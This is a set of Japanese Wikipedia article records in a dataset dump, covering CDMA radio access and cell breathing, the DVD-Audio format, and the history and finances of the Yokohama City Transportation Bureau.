* [[ワンダーモモ]]
* [[ONE PIECE]]シリーズ
== 関連項目 ==
* [[ゲームのタイトル一覧]]
* [[アダルトゲーム一覧]]
* [[CEROレーティング18才以上のみ対象ソフトの一覧]]
* [[ESRBレイティング別対象ソフト一覧・AO (18歳未満提供禁止)]]
{{ゲームタイトル一覧}}
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[[Category:コンピュータゲームのタイトル一覧|*]] | null | 2023-07-06T10:47:17Z | false | false | false | [
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| https://ja.wikipedia.org/wiki/%E3%82%B3%E3%83%B3%E3%83%94%E3%83%A5%E3%83%BC%E3%82%BF%E3%82%B2%E3%83%BC%E3%83%A0%E3%81%AE%E3%82%BF%E3%82%A4%E3%83%88%E3%83%AB%E4%B8%80%E8%A6%A7 |
6,828 | 符号分割多元接続 | 符号分割多元接続(ふごうぶんかつたげんせつぞく、英語: Code Division Multiple Access、CDMA)とは、通信技術の一方式であり、同一の周波数帯域内で2つ以上の複数の通信(多元接続)を行うために用いる技術の総称である。主に直接拡散符号分割多重接続 (DS/CDMA,DS : Direct Sequence)、周波数ホッピング (FH : Frequency-Hopping) の方式に分けられる。
衛星電話などの衛星通信や携帯電話の他、軍事用の暗号通信に用いられている。
CDMA(符号分割多元接続)にはいくつか種類がある。アメリカ合衆国の標準規格はクアルコム社 (QUALCOMM) によって開発された「IS-95」(Interim Standard 95) として知られていた。「IS」とは電気通信工業会(英語版) (TIA) によって制定された規格であり、このため「TIA-EIA-95」とも呼ばれる。クアルコム社による「IS-95」のブランド名が「cdmaOne」である。
CDMAはTDMA(Time Division Multiple Access、時分割多元接続)とは違い、いつでも複数の無線接続が可能である。もちろん、多くの接続はそれだけ伝送速度の制約をもたらすが、それでも少ない基地局に対して携帯無線機が多くなった社会においては、TDMAに対して有利な特徴である。北米では、TDMAを使用する「Digital AMPS」(IS-136) 規格と競合の上で、「CDMA2000」と呼ばれるCDMAの規格の一つ「IS-2000」が勝利を収め標準となった。
CDMA基地局のセルの大きさが、呼吸しているように収縮変化するCDMA特有の現象である。FDMA、TDMAでは見られない。
CDMAの場合、セル内の携帯電話は同一周波数で通信するため、常に干渉(お互い混信している)状態にあるが、セル内の加入者数が増えて加入者容量の限界に近づいてくると、エリア端に近い局は電波伝播損失が大きいため、基地局に近い局よりも干渉量が大きくなり、基地局との通信ができなくなる。これは、近いもの勝ちの椅子取りゲームに例えることができるが、このような事態を避けるため、基地局において端末局の空中線電力を制限する信号を送り、端末局の遠近出力調節をしている。
この現象をマクロで見ると、あたかもセルの大きさが収縮しているように見える。 | [
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| 符号分割多元接続とは、通信技術の一方式であり、同一の周波数帯域内で2つ以上の複数の通信(多元接続)を行うために用いる技術の総称である。主に直接拡散符号分割多重接続、周波数ホッピング の方式に分けられる。 衛星電話などの衛星通信や携帯電話の他、軍事用の暗号通信に用いられている。 | {{出典の明記|date=2022年12月27日 (火) 10:42 (UTC)}}
{{多重化}}
[[ファイル:Multiple Access.png|thumb|right|200px|多元接続 (FDMA、TDMA、CDMA)]]
'''符号分割多元接続'''(ふごうぶんかつたげんせつぞく、{{lang-en|Code Division Multiple Access、'''CDMA'''}})とは、[[通信]]技術の一方式であり、同一の[[周波数]]帯域内で2つ以上の複数の通信([[多元接続]])を行うために用いる技術の総称である。主に[[スペクトラム拡散#直接拡散|直接拡散]]符号分割多重接続 (DS/CDMA,DS : Direct Sequence)、[[スペクトラム拡散#周波数ホッピング|周波数ホッピング]] (FH : Frequency-Hopping) の方式に分けられる。
[[衛星電話]]などの衛星通信や[[携帯電話]]の他、[[軍事]]用の[[暗号]]通信に用いられている。
== 携帯電話での方式 ==
CDMA(符号分割多元接続)にはいくつか種類がある。[[アメリカ合衆国]]の標準規格は[[クアルコム]]社 (QUALCOMM) によって開発された「[[IS-95]]」(Interim Standard 95) として知られていた。「IS」とは[[電気通信工業会]] (TIA) によって制定された規格であり、このため「TIA-EIA-95」とも呼ばれる。<!--「IS-95」は最初に実用化に成功した[[第二世代携帯電話]]のCDMA(cdmaOne)のことである。 意味不明のためコメントアウトします。-->クアルコム社による「IS-95」のブランド名が「cdmaOne」である。
CDMAはTDMA(Time Division Multiple Access、時分割多元接続)とは違い、いつでも複数の無線接続が可能である。もちろん、多くの接続はそれだけ伝送速度の制約をもたらすが、それでも少ない基地局に対して携帯無線機が多くなった社会においては、TDMAに対して有利な特徴である。北米では、TDMAを使用する「Digital AMPS」(IS-136) 規格と競合の上で、「CDMA2000」と呼ばれるCDMAの規格の一つ「IS-2000」が勝利を収め標準となった。
* [[cdmaOne]](米国[[クアルコム]]系)([[KDDI]]/[[沖縄セルラー電話]] ([[Au (携帯電話)|au]]) ・cdmaOne)
* [[W-CDMA]](日本・欧州系)([[NTTドコモ]] [[FOMA]]、[[SoftBank 3G]])
* [[CDMA2000]](米国クアルコム系)(KDDI/沖縄セルラー電話 (au) ・[[CDMA 1X]]、[[CDMA 1X WIN]])
* [[TD-CDMA]]([[慶應義塾大学]])
== Cell Breathing ==
CDMA[[基地局]]の[[セル]]の大きさが、[[呼吸]]しているように収縮変化するCDMA特有の現象である。[[FDMA]]、[[TDMA]]では見られない。
CDMAの場合、セル内の携帯電話は同一周波数で通信するため、常に干渉(お互い[[混信]]している)状態にあるが、セル内の[[加入者]]数が増えて加入者容量の限界に近づいてくると、エリア端に近い局は[[電波伝播]]損失が大きいため、基地局に近い局よりも干渉量が大きくなり、基地局との通信ができなくなる。これは、近いもの勝ちの[[椅子取りゲーム]]に例えることができるが、このような事態を避けるため、基地局において端末局の[[空中線電力]]を制限する信号を送り、端末局の遠近出力調節をしている。
この現象を[[巨視的|マクロ]]で見ると、あたかもセルの大きさが収縮しているように見える。
== 関連項目 ==
* [[多元接続]]
** [[時分割多元接続]] (TDMA)
* [[スペクトラム拡散]]
* [[直交符号]] (Walsh Code)
{{多元接続}}
{{Normdaten}}
{{DEFAULTSORT:ふこうふんかつたけんせつそく}}
[[Category:多元接続]] | 2003-04-16T16:42:42Z | 2023-11-10T21:16:45Z | false | false | false | [
"Template:多重化",
"Template:Lang-en",
"Template:仮リンク",
"Template:多元接続",
"Template:Normdaten",
"Template:出典の明記"
]
| https://ja.wikipedia.org/wiki/%E7%AC%A6%E5%8F%B7%E5%88%86%E5%89%B2%E5%A4%9A%E5%85%83%E6%8E%A5%E7%B6%9A |
6,831 | DVD-Audio | DVD-Audio(DVDオーディオ)は、1999年にDVDフォーラムにより規格化された、次世代オーディオディスク(次世代CD)規格である。民生用ハイレゾリューションオーディオ媒体の最初期の規格でもある。
チャンネル数は最大6(5.1チャンネルサラウンド)、標本化周波数はステレオで最大192kHz、マルチチャンネルで最大96kHz。量子化ビット数は最大24ビット(ダイナミックレンジ144dB)。
Hi-Fiオーディオ向けの媒体として、また従来のCD-DAでは不可能であった5.1chサラウンドといったマルチチャンネルオーディオの媒体として期待されたが、結果的にはほとんど普及しなかった。次世代のオーディオ媒体としては、同時期に登場した、CD-DAと互換性を持つハイブリッドディスクを制作可能なSuper Audio CD(SACD)に市場を譲る形となり、普及推進のため2002年に発足したDVDオーディオプロモーション協議会も2007年には解散した。
CPPMが採用されている。 | [
{
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"text": "DVD-Audio(DVDオーディオ)は、1999年にDVDフォーラムにより規格化された、次世代オーディオディスク(次世代CD)規格である。民生用ハイレゾリューションオーディオ媒体の最初期の規格でもある。",
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| DVD-Audio(DVDオーディオ)は、1999年にDVDフォーラムにより規格化された、次世代オーディオディスク(次世代CD)規格である。民生用ハイレゾリューションオーディオ媒体の最初期の規格でもある。 | {{ディスクメディア
|名称=DVD-Audio
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|画像コメント=
|種類=光ディスク
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}}
'''DVD-Audio'''('''DVDオーディオ''')は、[[1999年]]に[[DVDフォーラム]]により規格化された、次世代オーディオディスク(次世代CD)規格である。民生用[[ハイレゾリューションオーディオ]]媒体の最初期の規格でもある。
== オーディオフォーマット ==
チャンネル数は最大6(5.1チャンネル[[サラウンド]])、[[サンプリング周波数|標本化周波数]]は[[ステレオ]]で最大192[[キロヘルツ|kHz]]、マルチチャンネルで最大96kHz。[[ビット深度 (音響機器)|量子化ビット数]]は最大24ビット([[ダイナミックレンジ]]144[[デシベル|dB]])。
== 普及状態の推移 ==
[[Hi-Fi]]オーディオ向けの媒体として、また従来の[[CD-DA]]では不可能であった5.1ch[[サラウンド]]といったマルチチャンネルオーディオの媒体として期待された<ref>{{Cite journal|author=市川俊一|title=DVDメディアにおけるマルチチャンネル・オーディオの可能性の追求|journal=Pioneer R&D|volume=11|issue=3|pages=28-36|publisher=パイオニア|date=2001|url=http://pioneer.jp/corp/crdl_design/crdl/rd/pdf/11-3-4.pdf}}</ref>が、結果的にはほとんど普及しなかった。次世代のオーディオ媒体としては、同時期に登場した、CD-DAと互換性を持つハイブリッドディスクを制作可能な[[Super Audio CD]](SACD)に市場を譲る形となり、普及推進のため2002年に発足したDVDオーディオプロモーション協議会も2007年には解散した<ref>{{Cite web|和書|url=https://av.watch.impress.co.jp/docs/20040909/dvda.htm|title=DAP協議会、DVDオーディオの視聴説明会を実施|work=AV Watch|publisher=インプレス|date=2004-09-09|accessdate=2017-06-22}}</ref><ref>{{Cite journal|author=校條亮治|title=新年度にあたり「ハイレゾは救世主に成りうるか」|journal=JASジャーナル|volume=54|issue=3|pages=3-5|publisher=日本オーディオ協会|date=2014-05|url=http://www.jas-audio.or.jp/jas-cms/wp-content/uploads/2014/05/003-005.pdf#search=%27DVD%E3%82%AA%E3%83%BC%E3%83%87%E3%82%A3%E3%82%AA%E3%83%97%E3%83%AD%E3%83%A2%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E5%8D%94%E8%AD%B0%E4%BC%9A%27}}</ref><ref>{{Cite web|和書|author=西田宗千佳|url=https://kotobank.jp/word/%E3%82%B9%E3%83%BC%E3%83%91%E3%83%BC%E3%82%AA%E3%83%BC%E3%83%87%E3%82%A3%E3%82%AACD-4801#E7.9F.A5.E6.81.B5.E8.94.B5|title=スーパーオーディオCD|work=知恵蔵|publisher=朝日新聞出版|date=2008|accessdate=2017-06-22}}</ref>。
== 著作権保護 ==
[[CPPM]]が採用されている。
== 脚注 ==
{{脚注ヘルプ}}
{{Reflist}}
== 参考文献 ==
* 貝山知弘, [http://www.phileweb.com/shop/dvdaudio/da-toha.html DVDオーディオとは], Phile-web, [[音元出版]], 2014年6月8日閲覧.
* {{Cite journal|author=小谷野進司|author2=太田佳樹|title=サラウンドサウンド方式とオーディオアンプ|journal=電気学会誌|volume=125|issue=4|date=2005|pages=229-232|publisher=電気学会|doi=10.1541/ieejjournal.125.229}}
== 関連項目 ==
* [[音響機器]]
* [[ハイレゾリューションオーディオ]]
* [[Super Audio CD]]
{{Audio-visual-stub}}
{{音楽}}
{{Audio formats}}
{{DEFAULTSORT:DVD-Audio}}
[[Category:DVD]]
[[Category:12センチディスク]]
[[Category:パナソニックのAV機器]] | 2003-04-16T19:58:41Z | 2023-11-21T00:25:54Z | false | false | false | [
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| https://ja.wikipedia.org/wiki/DVD-Audio |
6,832 | 横浜市交通局 | 横浜市交通局(よこはまし こうつうきょく、英: Transportation Bureau, City of Yokohama)は、神奈川県横浜市の地方公営企業の一つ。横浜市の公営交通事業である、市営バスと市営地下鉄を運営している。
1921年(大正10年)に横浜電気鉄道を買収し、横浜市電気局を設立して横浜市街で横浜市電を運営していた。しかし後述のように、高度経済成長期に発生した道路渋滞による客離れで経営の大幅悪化によって全廃された。その後は現在に至るまでバスと地下鉄(高速鉄道)を主要事業としている。
2011年(平成23年)実績の一日平均乗車人員は、バスが約33万人、地下鉄が約60万人と、横浜市の街づくりの基盤として重要な役割を担っている。
1946年(昭和21年)まで「横浜市電気局」と称していたが、電気供給事業の実績はない。また、民営会社の買収も電車は横浜電気鉄道、バスは鶴見乗合自動車の各一社のみである。
横浜市交通局の徽章(ロゴマーク)は、横浜市電気局として発足した当時に定められたもので、横浜市の市章である「ハマ菱」の周囲を、電光をイメージした4つの雷紋でとり囲むデザインになっている。市営バスではエンブレムとしても使用されているが、市営地下鉄では独自の徽章をエンブレムとして使用している。
はまりんは、1998年(平成10年)10月10日に制定された横浜市交通局のマスコットキャラクターである。名前は一般公募より採用され、横浜・浜っ子の「はま」、車輪の「りん」、海の「まりん」が由来とされている。生誕地は神奈川県横浜市、誕生日は1998年10月10日という設定である。
交通局の広報や決算書などのほか、装飾、イベントにて頻繁に使用されており、横浜市交通局協力会が運営するコンビニエンスストアの店舗、横浜市電保存館(オンラインショッピング含む)にてキャラクターグッズが販売されている。また、特別装飾の「はまりん号」車両も運用され、利用者の認知度は交通事業者のマスコットキャラクターとしては比較的高いものとなっている。
市営交通お客様感謝祭として毎年、市営交通の取り組みや仕事が学べるイベント「はまりんフェスタ」が開催される。新羽・上永谷・川和町にある市営地下鉄車両基地のいずれか1箇所(持ち回り)で行われる。
財政面では、前身の横浜電気鉄道は日露戦争後の大正バブルの崩壊による赤字に悩まされており、これが横浜市による買収のきっかけとなった。横浜市電気局になってからは、横浜電気鉄道の買収のために起債された公債の負担に加え、買収の2年後に発生した関東大震災からの復旧工事のために起債したドル建て公債が、世界恐慌による為替相場の下落もあいまって膨れあがった。この償還のために、新たな公債を発行する自転車操業に陥いっていた。太平洋戦争中はドル建て公債の償還については国が肩代わりし、戦争特需による乗客の増加もあいまって黒字になったものの、戦後はインフレによる物価の暴騰とGHQの物価抑制策による運賃の値上げ抑制により、再び赤字に転落。市電を廃止した1972年(昭和47年)時点での累積赤字は、91億5125万円であった。このような財務状況の中で、経費が安い横浜市営バスの拡充・横浜市営トロリーバスの新設に転換したものの、1966年には地方公営企業法に基づく財政再建団体に指定されることになった。
1966年(昭和41年)10月、第一次財政再建計画として「再建整備5か年計画」が策定された。運賃の値上げ、市電・市営バスのワンマン化と、市営バス・高速鉄道(現 横浜市営地下鉄)への切り替えを前提とした市電の縮小、市営バス・トロリーバスの増車を行うというものだった。しかし高度経済成長による職員給与のベースアップや、政府の公共料金抑制政策による運賃の値上げの抑制、そしてバス路線の展開が旧市域に限られたことでバスの増強に見合った運賃収入が得られなかったことなどが原因で経営は悪化。これに伴い輸送力が低い市電とトロリーバスの廃止が早められ、大量輸送機関の横浜市営地下鉄を建設することとなった。なお市電の廃止はモータリゼーションの進展による道路交通を優先した国の指導によるもので、同時期には他の都市でも路面電車の廃止が行われた。
1973年(昭和48年)8月に「地方公営交通事業の経営の健全化の促進に関する法律」が施行され、翌1974年(昭和49年)3月には「第二次財政再建計画」として市営バス事業を対象とした15か年計画が策定された。オイルショックによる影響があったものの、バスのワンマン化・路線の再編成などの合理化のほか、7つのバス営業所の上空権を横浜市建築局に売却して敷地内に市営住宅を建設し、地上権補償金を得るなどの手法が功を奏し、1986年(昭和61年)にすべての不良債務が解消し、再建に成功した。上空権を売却したのは、浅間町・滝頭・鶴見・保土ケ谷・磯子・港南・緑の7営業所で、浅間町営業所には市営住宅ではなく「横浜市西スポーツセンター」が建設された。
平成に入ってからは地下鉄事業の低迷により再び赤字が拡大し、1989年(平成元年)12月に横浜市交通事業経営問題委員会の答申「横浜市交通事業の経営の健全化及び事業運営のあり方について」が出された。外郭団体として設立した財団法人横浜市交通局協力会(現:一般社団法人)、横浜交通開発株式会社による収益事業の強化や、駅の業務委託・ワンマン運転化も行われた。その結果、2010年度決算では地下鉄・バス事業揃って営業損益・経常損益・純損益すべてにおいて黒字を達成した。
ただ累積赤字は減少傾向にあるものの、2018年度(平成30年度)時点で地下鉄・バス事業を合わせた赤字が1,508億円に及んでおり、依然として経営健全化に向けた努力が続けられている。
いずれも2020年(令和2年)4月1日現在。 | [
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"text": "いずれも2020年(令和2年)4月1日現在。",
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]
| 横浜市交通局は、神奈川県横浜市の地方公営企業の一つ。横浜市の公営交通事業である、市営バスと市営地下鉄を運営している。 | {{出典の明記| date = 2021-02-18}}
{{基礎情報 会社
|社名 = 横浜市交通局
|英文社名 = Transportation Bureau, City of Yokohama
|ロゴ = [[File:Yokohama City Transportation Emblem.svg|150px]]
|画像 = Yokohama City Hall 2021-8-30.jpg
|画像説明 = 横浜市交通局が入居する横浜市役所
|種類 = [[地方公営企業]]
|市場情報 =
|略称 =
|国籍 = {{JPN}}
|郵便番号 = 231-0005
|本社所在地 = [[神奈川県]][[横浜市]][[中区 (横浜市)|中区]][[本町 (横浜市)|本町]]6丁目50番地の10 [[横浜市役所]]19階
|設立 = [[1921年]]([[大正]]10年)[[4月1日]]
|業種 = 陸運業
|統一金融機関コード =
|SWIFTコード =
|事業内容 = 高速鉄道事業、乗合バス事業、広告事業、公有財産貸付事業
|代表者 = 交通事業管理者(交通局長) 三村 庄一
|資本金 =
|売上高 =
|総資産 =
|従業員数 = 高速鉄道事業:938人<br />自動車事業:1,330人<br />再任用職員及び嘱託員を含む合計:2,521人<br />(平成28年度包括外部監査結果<ref>[http://www.city.yokohama.lg.jp/kansa/kekka/pdf/gai28.pdf 平成28年度 包括外部監査の結果に関する報告書 交通事業について] 横浜市監査委員 記者発表資料より</ref>より)
|決算期 =
|主要株主 =
|主要子会社 = [[横浜交通開発|横浜交通開発株式会社]]、一般財団法人横浜市交通局協力会
|関係する人物 =
|外部リンク = https://www.city.yokohama.lg.jp/kotsu/
|特記事項 =
}}
[[ファイル:Yokohama-Tram-1510.jpg|thumb|横浜市電1500形]]
{{File clip| Booklet of Yokohama city Trolleybus.jpg | width= 230 | 58 | 8 | 0 | 14 | w= 1522 | h= 2063 | 横浜市営トロリーバス 無軌条電車100型}}
[[ファイル:YokohamaCityBus 1-2720.jpg|thumb|横浜市営バス]]
'''横浜市交通局'''(よこはまし こうつうきょく、{{Lang-en-short|''Transportation Bureau, City of Yokohama''}})は、[[神奈川県]][[横浜市]]の[[地方公営企業]]の一つ。横浜市の[[公営交通]]事業である、[[横浜市営バス|市営バス]]と[[横浜市営地下鉄|市営地下鉄]]を運営している。
== 概要 ==
{{節スタブ|date=2021-02-18}}
[[1921年]](大正10年)に[[横浜電気鉄道]]を買収し、横浜市電気局を設立して横浜市街で[[横浜市電]]を運営していた。しかし後述のように、[[高度経済成長]]期に発生した道路渋滞による客離れで経営の大幅悪化によって全廃された。その後は現在に至るまでバスと地下鉄(高速鉄道)を主要事業としている。
[[2011年]]([[平成]]23年)実績の一日平均乗車人員は、バスが約33万人、地下鉄が約60万人<ref>[http://www.city.yokohama.lg.jp/ex/stat/toukeisho/new/#09 第9章 道路、運輸及び通信] 横浜市統計ポータルサイト</ref>と、横浜市の街づくりの基盤として重要な役割を担っている。
[[1946年]](昭和21年)まで「横浜市電気局」と称していたが、[[電力会社|電気供給事業]]の実績はない。また、民営会社の買収も電車は横浜電気鉄道、バスは鶴見乗合自動車の各一社のみである。
== 事業 ==
=== 公営交通機関 ===
* [[横浜市電]]([[路面電車]]): [[1921年]][[4月1日]] - [[1972年]][[3月31日]]
*: ([[横浜電気鉄道|横浜電気鉄道株式会社]]: [[1904年]][[7月15日]] - [[1921年]][[3月31日]])
* [[横浜市営バス]]: [[1928年]][[11月10日]] -
* [[横浜市営トロリーバス]]([[トロリーバス]]): [[1959年]][[7月16日]] - [[1972年]][[3月31日]]
* [[横浜市営地下鉄]]
** [[横浜市営地下鉄ブルーライン]](1・3号線): [[1972年]][[12月16日]] -
** [[横浜市営地下鉄グリーンライン]](4号線): [[2008年]][[3月30日]] -
=== 外郭団体 ===
* [[横浜市交通局協力会|一般財団法人横浜市交通局協力会]] - [[1972年]][[12月14日]]設立。交通局関連事業の実施を目的に設立。交通広告の代理業、駅構内の貸店舗の管理・運営、旅行業者代理業、駅業務の受託、各種キャンペーンの受託、[[横浜市電保存館]]の管理・運営など。
* [[横浜交通開発|横浜交通開発株式会社]] - [[1988年]][[2月8日]]設立。横浜市交通局協力会では行うことができない営利事業の実施を目的に設立。交通広告の代理業、局有地での駐輪場・駐車場運営、駅構内の貸店舗の管理・運営、バス路線の受託運行、職員住宅跡地での不動産事業、工事の施工管理など。
== 歴史 ==
{{See also|横浜市電#沿革|横浜市営バス#沿革|横浜市営トロリーバス#歴史|横浜市営地下鉄#沿革}}
* [[1921年]](大正10年)[[4月1日]] - '''横浜市電気局'''が発足<ref name="nr210304">{{Cite web|和書|url=https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/koutuu/2020/0304kotsu100th.files/0004_20210304.pdf |title=2021年4月1日に横浜市営交通は100周年を迎えます。|website=横浜市 |publisher= 横浜市交通局 プロジェクト推進課 |date=2021-03-04 |accessdate=2022-03-19}}</ref>。[[横浜電気鉄道]]株式会社が運営していた[[路面電車]]を[[横浜市電|市電]]として[[公営交通|公営]]化するため[[滝頭 (横浜市)|滝頭]]にて発足する<ref name="Shiei100pdf">{{Cite web|和書|title=横浜市営交通の歴史 (PDF) |url=https://www.city.yokohama.lg.jp/kotsu/kigyo/100th/shieikotuhistory100.files/0009_20220127.pdf |website=横浜市 |publisher=横浜市交通局 |date=2022-01-31 |accessdate=2022-03-19}}</ref>。当日は市電開業を祝って朝から[[花火]]を打ち上げ、夜には[[イルミネーション]]装飾を施した[[花電車]]を運行した<ref name="Shiei100pdf" />。横浜電気鉄道を620万円で買収し、電気局の本局を横浜電気鉄道の重要拠点である瀧頭車庫(横浜市滝頭[[小字|字]]上江205番地、現在の[[横浜市営バス滝頭営業所]])に置く。
* [[1923年]](大正12年)9月1日 - [[関東大震災]]により被災<ref name="Shiei80th" /><ref name="Shiei100pdf" />。保有車両143両のうち72両を火災で焼失、13両が車庫倒壊などで大破。高島町変電所・常磐町変電所も焼失し、千歳橋変電所は全壊。10月26日には震災前の95%、19.36[[キロメートル|km]]が復旧<ref name="Shiei80th" />。
* [[1928年]]([[昭和]]3年)11月10日 - 震災復興事業として、市営バスの運営を開始<ref name="Shiei100pdf" />。車両は14人乗りのフォードA型バスを使用し、女性車掌を採用した<ref name="Shiei100pdf" />。浅間町に自動車出張所を設立(現:[[横浜市営バス浅間町営業所]])。
* [[1935年]](昭和10年) - [[横濱ベイサイドライン#歴史|市内遊覧バス]]の運行を開始<ref name="N28">{{Cite book|和書|title=[[バスジャパン]] ニューハンドブックシリーズ 28 横浜市交通局|date=1999-08-01|publisher=[[BJエディターズ]]/[[星雲社]]|isbn=4-7952-7781-8|year=|page=}}</ref>。
* [[1936年]](昭和11年)8月6日 - 横浜市電気局共済組合が、電気局共済組合友愛病院([[横浜市立脳卒中・神経脊椎センター]]の前身)を設立。
* [[1945年]](昭和20年)5月29日 - [[横浜大空襲]]で電車202両のうち45両・バス53台、千歳橋変電所・浅間町自動車車庫など多くの施設が焼失する壊滅的被害を受ける。電車は7月1日には空襲前の73%、35.6kmが復旧<ref name="Shiei80th" />。
* [[1946年]](昭和21年)
** 4月1日 - 電気局共済組合を電気局厚生会に改組。友愛病院を横浜市電気局厚生会友愛病院に改称。
** 5月31日 - 横浜市電気局を'''横浜市交通局'''に改称。
* [[1950年]](昭和25年)10月21日 - 戦後の地域復興政策として、[[横浜国際港都建設法]]が公布される。
* [[1952年]](昭和27年)10月1日 - [[地方公営企業法]]が施行され、交通局と[[横浜市水道局]]が[[地方公営企業]]として独立<ref name="Shiei80th" />。
* [[1957年]](昭和32年) - 横浜市が「横浜国際港都建設総合基幹計画」を策定。[[横浜市営地下鉄|市営高速鉄道]]の新線計画・[[横浜市営トロリーバス]]の新設が提案される。
* [[1959年]](昭和34年)
** 7月16日 - [[横浜市営トロリーバス]]の営業を開始。
** 9月12日 - 交通局を横浜市庁舎([[港町 (横浜市)|港町]]一丁目1番地)に移転。
* [[1963年]](昭和38年)3月 - 運輸調査室が中心となり、市電を廃止して地下高速鉄道([[横浜市営地下鉄|市営地下鉄]])を整備すべきとの報告をまとめる。
* [[1966年]](昭和40年)
** 7月15日 - [[都市交通審議会]]が、[[都市交通審議会答申第9号]]を発表。
** 10月11日 - [[横浜市議会]]で、横浜市条例 昭和41年第65号「横浜市交通事業の設置等に関する条例」が成立。横浜市営地下鉄1 - 4号線の建設を決定。
** 10月15日 - [[自治大臣]]により、交通局が[[財政再建団体]]第1号に指定される。
** 10月28日 - 交通局を平和ビル(中区[[本町 (横浜市)|本町]]3丁目31番地)に移転。
* [[1967年]](昭和41年)1月 - 第一次財政再建計画「再建整備5か年計画」を策定し、交通局の財政再建に乗り出す(不良債務66億8,000万円)。
* [[1971年]](昭和46年)3月10日 - [[横浜市営バス保土ケ谷営業所]]上空の利用について、横浜市住宅局(現 横浜市建築局)との間に「市営住宅との併設建設に関する協定」([[空中権]]の設定)が成立。
* [[1972年]](昭和47年)
** 3月30日、市営バス保土ケ谷営業所の上空に、[[公営住宅|市営住宅]]「市営岩井町住宅」が完成。
** 3月31日 - [[モータリゼーション]]による道路混雑で定時運行が困難になったことから、市電とトロリーバスを廃止<ref name="Shiei100pdf" />。
** 4月1日 - 横浜市電気局厚生会友愛病院を、横浜市衛生局(現:横浜市医療局)に売却。1974年から、[[横浜市立脳卒中・神経脊椎センター|横浜市老人リハビリテーション友愛病院]]として運営(1999年4月1日閉院)。
** 9月 - [[昭和47年台風第20号|台風]]により開業前の市営地下鉄1号線の[[鉄道駅]]が天井まで[[水害|冠水]]する被害を受ける<ref name="Shiei100pdf" />。
** 10月25日 - 交通局を横浜市庁舎(港町一丁目1番地 関内中央ビル)に再移転。
** 12月14日 - 財団法人[[横浜市交通局協力会]]を設立<ref>[https://www.kyouryokukai.or.jp/corporate-guide/zaidan_about/ 財団について] 一般財団法人横浜市交通局協力会</ref>(中区[[長者町 (横浜市)|長者町]]5丁目48番地 地下鉄伊勢佐木長者町駅 地下1階)。
** 12月16日 - [[横浜市営地下鉄ブルーライン|横浜市営地下鉄1号線]]([[伊勢佐木長者町駅]] - [[上大岡駅]]間)が開業し、高速鉄道事業が開始<ref name="Shiei100pdf" />。
* [[1973年]](昭和48年)
** 1月31日 - 市営バスで[[盲導犬]]の車内持ち込み試行実験を16系統で開始<ref>昭和48年 局達第3号「盲導犬の車内持ち込みの試行について」 横浜市交通局、1978年1月27日</ref>。10月1日より全路線で実施。当時は法律で[[動物]]の車内持ち込みが禁止されていたため、無料手回り品とみなして実施。
** 8月15日 - [[横浜市電保存館]]を開館。
* [[1974年]](昭和49年)
** 3月6日 - 第二次財政再建計画(15か年計画)が[[自治大臣]]から承認される(不良債務136億4,000万円)。
** 4月1日 - 福祉政策として、市営バス・市営地下鉄の[[福祉乗車証#関東地方|敬老特別乗車証(敬老パス)]]を創設。
** 8月1日 - 「地方公営交通事業の経営の健全化の促進に関する法律」が施行。
* [[1976年]](昭和51年)7月1日 - 市営バスで盲導犬の車内持ち込みを全面許可。
* [[1978年]](昭和53年)7月1日 - 市営地下鉄で盲導犬の車内持ち込みを全面許可<ref>昭和53年 局達第26号「盲導犬の車内持ち込みの取り扱いについて」 横浜市交通局、1978年6月24日</ref>。
* [[1981年]](昭和56年) - 市営バス事業の不良債務が解消。
* [[1984年]](昭和59年)4月1日 - [[2階建車両|2階建バス]]による[[横濱ベイサイドライン#ブルーライン|市内定期遊覧バス「ブルーライン」]]運行開始<ref name="90周年-路線">{{Cite web|和書|title=横浜市営バス90周年 路線の歴史 |url=https://www.city.yokohama.lg.jp/kotsu/bus/bus90thanniversary.files/column03.pdf |publisher=横浜市交通局 |accessdate=2020-08-02 |archiveurl=https://web.archive.org/web/20200505100827/https://www.city.yokohama.lg.jp/kotsu/bus/bus90thanniversary.files/column03.pdf |archivedate=2020-05-05}}</ref><ref>{{Cite web|和書|date=2013-10-04|url=http://hamarepo.com/story.php?story_id=2310|title=以前に走っていた「ブルーライン」という二階建てバスは廃止になった?|publisher=|accessdate=2016-09-16|website=[[はまれぽ.com]]}}</ref><ref name="N28" /><ref name="Shiei100pdf" />。
* [[1986年]](昭和61年) - 第二次財政再建計画の不良債務がすべて解消。
* [[1988年]](昭和63年)
** 2月8日 - 交通局の財政を補強するため、横浜市・横浜市交通局協力会の出資により[[横浜交通開発|横浜交通開発株式会社]]を設立(中区[[尾上町 (横浜市)|尾上町]]1-6 住友生命横浜関内ビル)。
** 3月31日 - 第二次財政再建計画が終了。
** [[10月3日]] - 横浜市議会の全員協議会で、[[横浜市営地下鉄#計画廃止路線|市営地下鉄3号線 尾上町 - 山下町]]の建設を断念することを決定<ref>『横浜市営交通八十年史』p.27-28、横浜市交通局、2001年3月</ref>。
* [[1989年]]([[平成]]元年)3月25日 - [[横浜博覧会]]開催(10月1日まで)。市営バスが中心となり、会場の[[横浜みなとみらい21]]地区まで[[シャトルバス]]輸送にあたる。
* [[1994年]](平成6年)8月9日 - 横浜市交通事業経営健全化委員会の答申が公表される。
* [[1996年]](平成8年)
** 3月31日 - 2階建バス「ブルーライン」を廃止。
** 5月1日 - [[定期観光バス]]「[[横濱ベイサイドライン]]」運行開始、「ブルーライン」の2階建バス(2代目車両)を引き継ぐ。
* [[1998年]](平成10年)10月10日 - 横浜市営交通[[ゆるキャラ|イメージキャラクター]]「はまりん」が誕生。デザインは[[広告代理店]]によるもので交通局職員の投票で決定し、名称は一般公募で決定した<ref>『横浜市高速鉄道建設史II』p.272、横浜市交通局、2004年3月</ref>。
*[[1999年]](平成11年)
** 3月31日 - 貸切[[観光バス]]事業を廃止。
* [[2005年]](平成17年)
* [[2006年]](平成18年)
** 3月26日 - [[横浜市営バス野庭営業所]]を廃止。
** 6月15日 - 横浜市営地下鉄の路線の愛称を、1・3号線は「ブルーライン」、4号線は「グリーンライン」に決定し発表。
* [[2007年]](平成19年)3月31日 - [[横浜市営バス港北ニュータウン営業所]]を廃止。
* [[2008年]](平成20年)
** 2月9日 - 横浜市営バス[[横浜市営バス緑営業所|緑営業所]]と[[横浜市営バス磯子営業所|磯子営業所]]を横浜交通開発に[[管理の受委託 (バス)|委託]]開始。
